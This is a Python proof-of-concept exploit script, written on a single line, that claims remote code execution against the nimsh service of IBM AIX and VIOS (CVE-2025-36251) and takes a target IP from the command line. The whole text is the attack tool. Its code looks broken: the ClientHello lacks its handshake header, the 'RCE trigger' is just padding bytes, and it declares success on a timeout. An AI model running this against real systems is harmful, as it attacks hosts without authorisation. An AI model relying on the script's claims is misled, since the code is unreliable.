CVE-2025-36251

#!/usr/bin/env python3 # CVE-2025-36251 PoC - IBM AIX/VIOS nimsh SSL/TLS Remote Code Execution # Target: IBM AIX 7.2/7.3, VIOS 3.1/4.1 nimsh service import socket import ssl import struct import time def create_malformed_ssl_packet(): """Create malformed SSL/TLS packet to trigger vulnerability""" # TLS Client Hello with malicious extensions handshake = b'\x01' # ClientHello type version = b'\x03\x03' # TLS 1.2 random_bytes = b'\x00' * 32 session_id = b'\x00' # Cipher suites with malicious values cipher_suites = b'\x00\x2c' + b'\xc0\x11' * 22 # Extensions with crafted data extensions = b'\xc0\x00' # Extension type ext_data = b'\x00\x01\x00\x00\x00\x00' * 10 # Malformed extension data extensions += struct.pack('>H', len(ext_data)) + ext_data client_hello = (version + random_bytes + session_id + struct.pack('>H', len(cipher_suites)) + cipher_suites + b'\x01' + struct.pack('>H', len(extensions)) + extensions) # TLS Header length = len(client_hello) tls_header = b'\x16\x03\x01' + struct.pack('>H', length) return tls_header + client_hello def exploit_nimsh(target_ip, target_port=999): """Send exploit payload to nimsh service""" try: print(f"[*] Connecting to {target_ip}:{target_port}") # Create raw socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) # Send malformed SSL packet payload = create_malformed_ssl_packet() print(f"[*] Sending malicious TLS ClientHello ({len(payload)} bytes)") sock.send(payload) # Wait for response time.sleep(2) # Send secondary payload to trigger RCE rce_payload = b'\x17\x03\x03\x00\x64' + b'A' * 100 + b'\x0a\x0d\x0a\x0d' print(f"[*] Sending RCE trigger payload ({len(rce_payload)} bytes)") sock.send(rce_payload) # Receive response try: response = sock.recv(4096) print(f"[*] Received response: {len(response)} bytes") if b'ERROR' not in response and b'BAD' not in response: print("[+] Exploit sent successfully - target may be vulnerable") except socket.timeout: print("[+] No response received - possible successful exploitation") sock.close() return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve_2025_36251.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 999 print("=" * 60) print("CVE-2025-36251 PoC - IBM AIX/VIOS nimsh RCE") print("=" * 60) exploit_nimsh(target, port)

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